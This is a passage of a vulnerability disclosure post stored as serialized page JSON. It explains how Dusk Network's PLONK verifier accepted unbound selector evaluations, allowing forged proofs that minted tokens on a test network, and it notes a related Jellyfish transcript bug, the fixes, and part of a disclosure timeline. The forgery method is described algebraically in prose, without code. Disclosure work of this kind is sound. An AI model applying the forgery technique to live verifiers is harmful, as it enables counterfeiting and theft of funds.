",{"type":24,"tag":32,"props":147197,"children":147198},{},[147199],{"type":29,"value":19729},{"type":29,"value":147201}," included:",{"type":24,"tag":17924,"props":147203,"children":147204},{},[147205,147216,147227,147238],{"type":24,"tag":1790,"props":147206,"children":147207},{},[147208,147214],{"type":24,"tag":154,"props":147209,"children":147211},{"className":147210},[],[147212],{"type":29,"value":147213},"q_arith_eval",{"type":29,"value":147215}," (arithmetic selector)",{"type":24,"tag":1790,"props":147217,"children":147218},{},[147219,147225],{"type":24,"tag":154,"props":147220,"children":147222},{"className":147221},[],[147223],{"type":29,"value":147224},"q_c_eval",{"type":29,"value":147226}," (constant selector)",{"type":24,"tag":1790,"props":147228,"children":147229},{},[147230,147236],{"type":24,"tag":154,"props":147231,"children":147233},{"className":147232},[],[147234],{"type":29,"value":147235},"q_l_eval",{"type":29,"value":147237}," (left selector)",{"type":24,"tag":1790,"props":147239,"children":147240},{},[147241,147247],{"type":24,"tag":154,"props":147242,"children":147244},{"className":147243},[],[147245],{"type":29,"value":147246},"q_r_eval",{"type":29,"value":147248}," (right selector)",{"type":24,"tag":25,"props":147250,"children":147251},{},[147252,147254,147261,147262,147269,147270,147277,147278,147285],{"type":29,"value":147253},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":101,"props":147255,"children":147258},{"href":147256,"rel":147257},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[105],[147259],{"type":29,"value":147260},"proof struct",{"type":29,"value":191},{"type":24,"tag":101,"props":147263,"children":147266},{"href":147264,"rel":147265},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[105],[147267],{"type":29,"value":147268},"transcript absorption",{"type":29,"value":191},{"type":24,"tag":101,"props":147271,"children":147274},{"href":147272,"rel":147273},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[105],[147275],{"type":29,"value":147276},"arithmetic widget",{"type":29,"value":191},{"type":24,"tag":101,"props":147279,"children":147282},{"href":147280,"rel":147281},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[105],[147283],{"type":29,"value":147284},"fixed-base ECC widget",{"type":29,"value":147286},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":147288,"children":147289},{},[147290,147292,147296],{"type":29,"value":147291},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":32,"props":147293,"children":147294},{},[147295],{"type":29,"value":19729},{"type":29,"value":147297}," bugs:",{"type":24,"tag":17924,"props":147299,"children":147300},{},[147301,147441],{"type":24,"tag":1790,"props":147302,"children":147303},{},[147304,147306,147351,147353,147359,147361,147366,147367,147372,147373,147378,147380,147386,147388,147433,147435,147440],{"type":29,"value":147305},"There is no prover-supplied ",{"type":24,"tag":154,"props":147307,"children":147309},{"className":147308},[5642,5643],[147310],{"type":24,"tag":158,"props":147311,"children":147313},{"className":147312},[5648],[147314],{"type":24,"tag":158,"props":147315,"children":147317},{"className":147316,"ariaHidden":3185},[5653],[147318],{"type":24,"tag":158,"props":147319,"children":147321},{"className":147320},[5658],[147322,147326,147331,147336,147341,147346],{"type":24,"tag":158,"props":147323,"children":147325},{"className":147324,"style":5771},[5663],[],{"type":24,"tag":158,"props":147327,"children":147329},{"className":147328},[5669,22832],[147330],{"type":29,"value":2907},{"type":24,"tag":158,"props":147332,"children":147334},{"className":147333},[22961],[147335],{"type":29,"value":504},{"type":24,"tag":158,"props":147337,"children":147339},{"className":147338,"style":114882},[5669,22832],[147340],{"type":29,"value":114885},{"type":24,"tag":158,"props":147342,"children":147344},{"className":147343,"style":94811},[5669,22832],[147345],{"type":29,"value":146015},{"type":24,"tag":158,"props":147347,"children":147349},{"className":147348},[22983],[147350],{"type":29,"value":521},{"type":29,"value":147352}," field at all. ",{"type":24,"tag":154,"props":147354,"children":147356},{"className":147355},[],[147357],{"type":29,"value":147358},"ProofEvaluations",{"type":29,"value":147360}," contains ",{"type":24,"tag":154,"props":147362,"children":147364},{"className":147363},[],[147365],{"type":29,"value":147163},{"type":29,"value":191},{"type":24,"tag":154,"props":147368,"children":147370},{"className":147369},[],[147371],{"type":29,"value":147170},{"type":29,"value":8136},{"type":24,"tag":154,"props":147374,"children":147376},{"className":147375},[],[147377],{"type":29,"value":147177},{"type":29,"value":147379},", but no ",{"type":24,"tag":154,"props":147381,"children":147383},{"className":147382},[],[147384],{"type":29,"value":147385},"c_w_eval",{"type":29,"value":147387},", so the verifier never consumes an unbound ",{"type":24,"tag":154,"props":147389,"children":147391},{"className":147390},[5642,5643],[147392],{"type":24,"tag":158,"props":147393,"children":147395},{"className":147394},[5648],[147396],{"type":24,"tag":158,"props":147397,"children":147399},{"className":147398,"ariaHidden":3185},[5653],[147400],{"type":24,"tag":158,"props":147401,"children":147403},{"className":147402},[5658],[147404,147408,147413,147418,147423,147428],{"type":24,"tag":158,"props":147405,"children":147407},{"className":147406,"style":5771},[5663],[],{"type":24,"tag":158,"props":147409,"children":147411},{"className":147410},[5669,22832],[147412],{"type":29,"value":2907},{"type":24,"tag":158,"props":147414,"children":147416},{"className":147415},[22961],[147417],{"type":29,"value":504},{"type":24,"tag":158,"props":147419,"children":147421},{"className":147420,"style":114882},[5669,22832],[147422],{"type":29,"value":114885},{"type":24,"tag":158,"props":147424,"children":147426},{"className":147425,"style":94811},[5669,22832],[147427],{"type":29,"value":146015},{"type":24,"tag":158,"props":147429,"children":147431},{"className":147430},[22983],[147432],{"type":29,"value":521},{"type":29,"value":147434}," claim (",{"type":24,"tag":101,"props":147436,"children":147438},{"href":147256,"rel":147437},[105],[147439],{"type":29,"value":147260},{"type":29,"value":21986},{"type":24,"tag":1790,"props":147442,"children":147443},{},[147444,147446,147533,147535,147627,147628,147635],{"type":29,"value":147445},"There is a fourth permutation commitment ",{"type":24,"tag":154,"props":147447,"children":147449},{"className":147448},[5642,5643],[147450],{"type":24,"tag":158,"props":147451,"children":147453},{"className":147452},[5648],[147454],{"type":24,"tag":158,"props":147455,"children":147457},{"className":147456,"ariaHidden":3185},[5653],[147458],{"type":24,"tag":158,"props":147459,"children":147461},{"className":147460},[5658],[147462,147466,147471,147528],{"type":24,"tag":158,"props":147463,"children":147465},{"className":147464,"style":5771},[5663],[],{"type":24,"tag":158,"props":147467,"children":147469},{"className":147468},[22961],[147470],{"type":29,"value":2048},{"type":24,"tag":158,"props":147472,"children":147474},{"className":147473},[5669],[147475,147480],{"type":24,"tag":158,"props":147476,"children":147478},{"className":147477,"style":94811},[5669,22832],[147479],{"type":29,"value":145910},{"type":24,"tag":158,"props":147481,"children":147483},{"className":147482},[5686],[147484],{"type":24,"tag":158,"props":147485,"children":147487},{"className":147486},[5691,22886],[147488,147517],{"type":24,"tag":158,"props":147489,"children":147491},{"className":147490},[5696],[147492,147512],{"type":24,"tag":158,"props":147493,"children":147495},{"className":147494,"style":94377},[5701],[147496],{"type":24,"tag":158,"props":147497,"children":147498},{"style":94858},[147499,147503],{"type":24,"tag":158,"props":147500,"children":147502},{"className":147501,"style":5711},[5710],[],{"type":24,"tag":158,"props":147504,"children":147506},{"className":147505},[5716,5717,5718,5719],[147507],{"type":24,"tag":158,"props":147508,"children":147510},{"className":147509},[5669,5719],[147511],{"type":29,"value":18767},{"type":24,"tag":158,"props":147513,"children":147515},{"className":147514},[22989],[147516],{"type":29,"value":22992},{"type":24,"tag":158,"props":147518,"children":147520},{"className":147519},[5696],[147521],{"type":24,"tag":158,"props":147522,"children":147524},{"className":147523,"style":94408},[5701],[147525],{"type":24,"tag":158,"props":147526,"children":147527},{},[],{"type":24,"tag":158,"props":147529,"children":147531},{"className":147530},[22983],[147532],{"type":29,"value":16646},{"type":29,"value":147534}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":154,"props":147536,"children":147538},{"className":147537},[5642,5643],[147539],{"type":24,"tag":158,"props":147540,"children":147542},{"className":147541},[5648],[147543],{"type":24,"tag":158,"props":147544,"children":147546},{"className":147545,"ariaHidden":3185},[5653],[147547],{"type":24,"tag":158,"props":147548,"children":147550},{"className":147549},[5658],[147551,147555,147612,147617,147622],{"type":24,"tag":158,"props":147552,"children":147554},{"className":147553,"style":5771},[5663],[],{"type":24,"tag":158,"props":147556,"children":147558},{"className":147557},[5669],[147559,147564],{"type":24,"tag":158,"props":147560,"children":147562},{"className":147561,"style":94811},[5669,22832],[147563],{"type":29,"value":145910},{"type":24,"tag":158,"props":147565,"children":147567},{"className":147566},[5686],[147568],{"type":24,"tag":158,"props":147569,"children":147571},{"className":147570},[5691,22886],[147572,147601],{"type":24,"tag":158,"props":147573,"children":147575},{"className":147574},[5696],[147576,147596],{"type":24,"tag":158,"props":147577,"children":147579},{"className":147578,"style":94377},[5701],[147580],{"type":24,"tag":158,"props":147581,"children":147582},{"style":94858},[147583,147587],{"type":24,"tag":158,"props":147584,"children":147586},{"className":147585,"style":5711},[5710],[],{"type":24,"tag":158,"props":147588,"children":147590},{"className":147589},[5716,5717,5718,5719],[147591],{"type":24,"tag":158,"props":147592,"children":147594},{"className":147593},[5669,5719],[147595],{"type":29,"value":18767},{"type":24,"tag":158,"props":147597,"children":147599},{"className":147598},[22989],[147600],{"type":29,"value":22992},{"type":24,"tag":158,"props":147602,"children":147604},{"className":147603},[5696],[147605],{"type":24,"tag":158,"props":147606,"children":147608},{"className":147607,"style":94408},[5701],[147609],{"type":24,"tag":158,"props":147610,"children":147611},{},[],{"type":24,"tag":158,"props":147613,"children":147615},{"className":147614},[22961],[147616],{"type":29,"value":504},{"type":24,"tag":158,"props":147618,"children":147620},{"className":147619,"style":114882},[5669,22832],[147621],{"type":29,"value":114885},{"type":24,"tag":158,"props":147623,"children":147625},{"className":147624},[22983],[147626],{"type":29,"value":521},{"type":29,"value":2262},{"type":24,"tag":101,"props":147629,"children":147632},{"href":147630,"rel":147631},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[105],[147633],{"type":29,"value":147634},"permutation verifier key",{"type":29,"value":21986},{"type":24,"tag":25,"props":147637,"children":147638},{},[147639,147641,147651],{"type":29,"value":147640},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":101,"props":147642,"children":147645},{"href":147643,"rel":147644},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[105],[147646],{"type":24,"tag":154,"props":147647,"children":147649},{"className":147648},[],[147650],{"type":29,"value":147092},{"type":29,"value":147652},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":147654,"children":147655},{},[147656],{"type":24,"tag":84,"props":147657,"children":147660},{"alt":147658,"src":147659},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":20034,"props":147662,"children":147663},{},[],{"type":24,"tag":59,"props":147665,"children":147667},{"id":147666},"the-exploitation",[147668],{"type":29,"value":147669},"The exploitation",{"type":24,"tag":25,"props":147671,"children":147672},{},[147673],{"type":29,"value":147674},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":147676,"children":147677},{},[147678,147680,147686,147688,147693,147695,147700,147702,147708],{"type":29,"value":147679},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":154,"props":147681,"children":147683},{"className":147682},[],[147684],{"type":29,"value":147685},"z_challenge",{"type":29,"value":147687},", it computes what the linearization polynomial ",{"type":24,"tag":32,"props":147689,"children":147690},{},[147691],{"type":29,"value":147692},"should",{"type":29,"value":147694}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":154,"props":147696,"children":147698},{"className":147697},[],[147699],{"type":29,"value":147213},{"type":29,"value":147701},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":154,"props":147703,"children":147705},{"className":147704},[],[147706],{"type":29,"value":147707},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":21986},{"type":24,"tag":25,"props":147710,"children":147711},{},[147712],{"type":24,"tag":84,"props":147713,"children":147716},{"alt":147714,"src":147715},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":147718,"children":147719},{},[147720,147722,147762,147764,147789,147791,147796],{"type":29,"value":147721},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":154,"props":147723,"children":147725},{"className":147724},[5642,5643],[147726],{"type":24,"tag":158,"props":147727,"children":147729},{"className":147728},[5648],[147730],{"type":24,"tag":158,"props":147731,"children":147733},{"className":147732,"ariaHidden":3185},[5653],[147734],{"type":24,"tag":158,"props":147735,"children":147737},{"className":147736},[5658],[147738,147742,147747,147752,147757],{"type":24,"tag":158,"props":147739,"children":147741},{"className":147740,"style":5771},[5663],[],{"type":24,"tag":158,"props":147743,"children":147745},{"className":147744,"style":94325},[5669,22832],[147746],{"type":29,"value":95144},{"type":24,"tag":158,"props":147748,"children":147750},{"className":147749},[22961],[147751],{"type":29,"value":504},{"type":24,"tag":158,"props":147753,"children":147755},{"className":147754},[5669,22832],[147756],{"type":29,"value":20518},{"type":24,"tag":158,"props":147758,"children":147760},{"className":147759},[22983],[147761],{"type":29,"value":521},{"type":29,"value":147763}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":154,"props":147765,"children":147767},{"className":147766},[5642,5643],[147768],{"type":24,"tag":158,"props":147769,"children":147771},{"className":147770},[5648],[147772],{"type":24,"tag":158,"props":147773,"children":147775},{"className":147774,"ariaHidden":3185},[5653],[147776],{"type":24,"tag":158,"props":147777,"children":147779},{"className":147778},[5658],[147780,147784],{"type":24,"tag":158,"props":147781,"children":147783},{"className":147782,"style":112166},[5663],[],{"type":24,"tag":158,"props":147785,"children":147787},{"className":147786,"style":114882},[5669,22832],[147788],{"type":29,"value":114885},{"type":29,"value":147790},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":154,"props":147792,"children":147794},{"className":147793},[],[147795],{"type":29,"value":147213},{"type":29,"value":147797}," gives the required value in a single field division.",{"type":24,"tag":20034,"props":147799,"children":147800},{},[],{"type":24,"tag":59,"props":147802,"children":147804},{"id":147803},"impact-on-dusk-network",[147805],{"type":29,"value":147806},"Impact on Dusk Network",{"type":24,"tag":25,"props":147808,"children":147809},{},[147810,147812,147819],{"type":29,"value":147811},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":101,"props":147813,"children":147816},{"href":147814,"rel":147815},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[105],[147817],{"type":29,"value":147818},"preverify path",{"type":29,"value":147820},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":1786,"props":147822,"children":147823},{},[147824,147829,147834],{"type":24,"tag":1790,"props":147825,"children":147826},{},[147827],{"type":29,"value":147828},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":1790,"props":147830,"children":147831},{},[147832],{"type":29,"value":147833},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":1790,"props":147835,"children":147836},{},[147837],{"type":29,"value":147838},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":147840,"children":147841},{},[147842],{"type":29,"value":147843},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":1786,"props":147845,"children":147846},{},[147847,147852,147862,147874,147879],{"type":24,"tag":1790,"props":147848,"children":147849},{},[147850],{"type":29,"value":147851},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":1790,"props":147853,"children":147854},{},[147855,147857],{"type":29,"value":147856},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":897,"props":147858,"children":147859},{},[147860],{"type":29,"value":147861},"2000 DUSK from nothing",{"type":24,"tag":1790,"props":147863,"children":147864},{},[147865,147867,147872],{"type":29,"value":147866},"The malicious wallet transfers ",{"type":24,"tag":897,"props":147868,"children":147869},{},[147870],{"type":29,"value":147871},"1337 DUSK",{"type":29,"value":147873}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":1790,"props":147875,"children":147876},{},[147877],{"type":29,"value":147878},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":1790,"props":147880,"children":147881},{},[147882],{"type":29,"value":147883},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":147885,"children":147886},{},[147887],{"type":24,"tag":84,"props":147888,"children":147891},{"alt":147889,"src":147890},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":147893,"children":147894},{},[147895,147897,147903,147905,147912],{"type":29,"value":147896},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":101,"props":147898,"children":147900},{"href":143198,"rel":147899},[105],[147901],{"type":29,"value":147902},"~60M",{"type":29,"value":147904},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":101,"props":147906,"children":147909},{"href":147907,"rel":147908},"https://neptune.cash/articles/critical-vulnerability-disclosure",[105],[147910],{"type":29,"value":147911},"Triton VM vulnerability",{"type":29,"value":347},{"type":24,"tag":20034,"props":147914,"children":147915},{},[],{"type":24,"tag":59,"props":147917,"children":147919},{"id":147918},"the-fix",[147920],{"type":29,"value":147921},"The fix",{"type":24,"tag":25,"props":147923,"children":147924},{},[147925],{"type":29,"value":147926},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":17924,"props":147928,"children":147929},{},[147930,147975],{"type":24,"tag":1790,"props":147931,"children":147932},{},[147933,147935,147946,147948,147954,147955,147961,147962,147968,147969],{"type":29,"value":147934},"Extend ",{"type":24,"tag":101,"props":147936,"children":147939},{"href":147937,"rel":147938},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[105],[147940],{"type":24,"tag":154,"props":147941,"children":147943},{"className":147942},[],[147944],{"type":29,"value":147945},"compute_aggregate_witness",{"type":29,"value":147947}," on the prover side to also include ",{"type":24,"tag":154,"props":147949,"children":147951},{"className":147950},[],[147952],{"type":29,"value":147953},"q_arith",{"type":29,"value":191},{"type":24,"tag":154,"props":147956,"children":147958},{"className":147957},[],[147959],{"type":29,"value":147960},"q_c",{"type":29,"value":191},{"type":24,"tag":154,"props":147963,"children":147965},{"className":147964},[],[147966],{"type":29,"value":147967},"q_l",{"type":29,"value":8136},{"type":24,"tag":154,"props":147970,"children":147972},{"className":147971},[],[147973],{"type":29,"value":147974},"q_r",{"type":24,"tag":1790,"props":147976,"children":147977},{},[147978,147980,147990],{"type":29,"value":147979},"Add their evaluations to ",{"type":24,"tag":101,"props":147981,"children":147984},{"href":147982,"rel":147983},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[105],[147985],{"type":24,"tag":154,"props":147986,"children":147988},{"className":147987},[],[147989],{"type":29,"value":147092},{"type":29,"value":147991}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":147993,"children":147994},{},[147995,147997,148004],{"type":29,"value":147996},"This was done in ",{"type":24,"tag":101,"props":147998,"children":148001},{"href":147999,"rel":148000},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[105],[148002],{"type":29,"value":148003},"commit 645265b7",{"type":29,"value":148005},", which landed on February 14, 2026.",{"type":24,"tag":20034,"props":148007,"children":148008},{},[],{"type":24,"tag":59,"props":148010,"children":148012},{"id":148011},"why-was-this-missed",[148013],{"type":29,"value":148014},"Why was this missed?",{"type":24,"tag":25,"props":148016,"children":148017},{},[148018,148020,148027,148028,148035,148037,148044,148046,148053],{"type":29,"value":148019},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":101,"props":148021,"children":148024},{"href":148022,"rel":148023},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[105],[148025],{"type":29,"value":148026},"December 2023 audit of dusk-plonk",{"type":29,"value":125668},{"type":24,"tag":101,"props":148029,"children":148032},{"href":148030,"rel":148031},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[105],[148033],{"type":29,"value":148034},"September 2024 audit of Phoenix",{"type":29,"value":148036},", and a ",{"type":24,"tag":101,"props":148038,"children":148041},{"href":148039,"rel":148040},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[105],[148042],{"type":29,"value":148043},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":148045},". Dusk's public ",{"type":24,"tag":101,"props":148047,"children":148050},{"href":148048,"rel":148049},"https://dusk.network/news/audits-overview",[105],[148051],{"type":29,"value":148052},"audits overview",{"type":29,"value":148054}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":148056,"children":148057},{},[148058,148060,148065],{"type":29,"value":148059},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":32,"props":148061,"children":148062},{},[148063],{"type":29,"value":148064},"evaluations",{"type":29,"value":347},{"type":24,"tag":25,"props":148067,"children":148068},{},[148069],{"type":29,"value":148070},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":148072,"children":148073},{},[148074],{"type":29,"value":148075},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":59,"props":148077,"children":148079},{"id":148078},"a-similar-bug-in-espresso-systems-jellyfish",[148080],{"type":29,"value":148081},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":148083,"children":148084},{},[148085,148087,148094],{"type":29,"value":148086},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":101,"props":148088,"children":148091},{"href":148089,"rel":148090},"https://github.com/EspressoSystems/jellyfish/",[105],[148092],{"type":29,"value":148093},"jf-plonk",{"type":29,"value":148095}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":148097,"children":148098},{},[148099,148101,148108,148110,148121,148123,148148,148150,148175],{"type":29,"value":148100},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":101,"props":148102,"children":148105},{"href":148103,"rel":148104},"https://eprint.iacr.org/2020/315",[105],[148106],{"type":29,"value":148107},"Plookup",{"type":29,"value":148109}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":101,"props":148111,"children":148114},{"href":148112,"rel":148113},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[105],[148115],{"type":24,"tag":154,"props":148116,"children":148118},{"className":148117},[],[148119],{"type":29,"value":148120},"append_plookup_evaluations",{"type":29,"value":148122}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":154,"props":148124,"children":148126},{"className":148125},[5642,5643],[148127],{"type":24,"tag":158,"props":148128,"children":148130},{"className":148129},[5648],[148131],{"type":24,"tag":158,"props":148132,"children":148134},{"className":148133,"ariaHidden":3185},[5653],[148135],{"type":24,"tag":158,"props":148136,"children":148138},{"className":148137},[5658],[148139,148143],{"type":24,"tag":158,"props":148140,"children":148142},{"className":148141,"style":112166},[5663],[],{"type":24,"tag":158,"props":148144,"children":148146},{"className":148145,"style":94811},[5669,22832],[148147],{"type":29,"value":115229},{"type":29,"value":148149}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":154,"props":148151,"children":148153},{"className":148152},[5642,5643],[148154],{"type":24,"tag":158,"props":148155,"children":148157},{"className":148156},[5648],[148158],{"type":24,"tag":158,"props":148159,"children":148161},{"className":148160,"ariaHidden":3185},[5653],[148162],{"type":24,"tag":158,"props":148163,"children":148165},{"className":148164},[5658],[148166,148170],{"type":24,"tag":158,"props":148167,"children":148169},{"className":148168,"style":112166},[5663],[],{"type":24,"tag":158,"props":148171,"children":148173},{"className":148172,"style":94811},[5669,22832],[148174],{"type":29,"value":115229},{"type":29,"value":148176},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":148178,"children":148179},{},[148180,148182,148188,148190,148196],{"type":29,"value":148181},"The attack requires modifying a single evaluation (",{"type":24,"tag":154,"props":148183,"children":148185},{"className":148184},[],[148186],{"type":29,"value":148187},"key_table_next_eval",{"type":29,"value":148189},") by ",{"type":24,"tag":154,"props":148191,"children":148193},{"className":148192},[],[148194],{"type":29,"value":148195},"delta / (u * v^3)",{"type":29,"value":148197}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":148199,"children":148200},{},[148201,148203,148210,148212,148223],{"type":29,"value":148202},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":101,"props":148204,"children":148207},{"href":148205,"rel":148206},"https://github.com/EspressoSystems/jellyfish/pull/867",[105],[148208],{"type":29,"value":148209},"PR #867",{"type":29,"value":148211}," fixed the issue and was tagged as ",{"type":24,"tag":101,"props":148213,"children":148216},{"href":148214,"rel":148215},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[105],[148217],{"type":24,"tag":154,"props":148218,"children":148220},{"className":148219},[],[148221],{"type":29,"value":148222},"jf-plonk-v0.8.0",{"type":29,"value":148224}," on March 18, 2026.",{"type":24,"tag":20034,"props":148226,"children":148227},{},[],{"type":24,"tag":59,"props":148229,"children":148231},{"id":148230},"toward-standardization",[148232],{"type":29,"value":148233},"Toward standardization",{"type":24,"tag":25,"props":148235,"children":148236},{},[148237,148239,148246],{"type":29,"value":148238},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":101,"props":148240,"children":148243},{"href":148241,"rel":148242},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[105],[148244],{"type":29,"value":148245},"similar patterns appear across zkVMs",{"type":29,"value":148247},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":148249,"children":148250},{},[148251],{"type":29,"value":148252},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":148254,"children":148255},{},[148256],{"type":29,"value":148257},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":59,"props":148259,"children":148260},{"id":62097},[148261],{"type":29,"value":148262},"Disclosure timeline",{"type":24,"tag":57017,"props":148264,"children":148265},{},[148266,148282],{"type":24,"tag":124276,"props":148267,"children":148268},{},[148269],{"type":24,"tag":124280,"props":148270,"children":148271},{},[148272,148277],{"type":24,"tag":124284,"props":148273,"children":148274},{},[148275],{"type":29,"value":148276},"Date",{"type":24,"tag":124284,"props":148278,"children":148279},{},[148280],{"type":29,"value":148281},"Event",{"type":24,"tag":124304,"props":148283,"children":148284},{},[148285,148298,148311,148323,148349,148369],{"type":24,"tag":124280,"props":148286,"children":148287},{},[148288,148293],{"type":24,"tag":124311,"props":148289,"children":148290},{},[148291],{"type":29,"value":148292},"2026-02-13",{"type":24,"tag":124311,"props":148294,"children":148295},{},[148296],{"type":29,"value":148297},"Dusk vulnerability reported",{"type":24,"tag":124280,"props":148299,"children":148300},{},[148301,148306],{"type":24,"tag":124311,"props":148302,"children":148303},{},[148304],{"type":29,"value":148305},"2026-02-14",{"type":24,"tag":124311,"props":148307,"children":148308},{},[148309],{"type":29,"value":148310},"Dusk 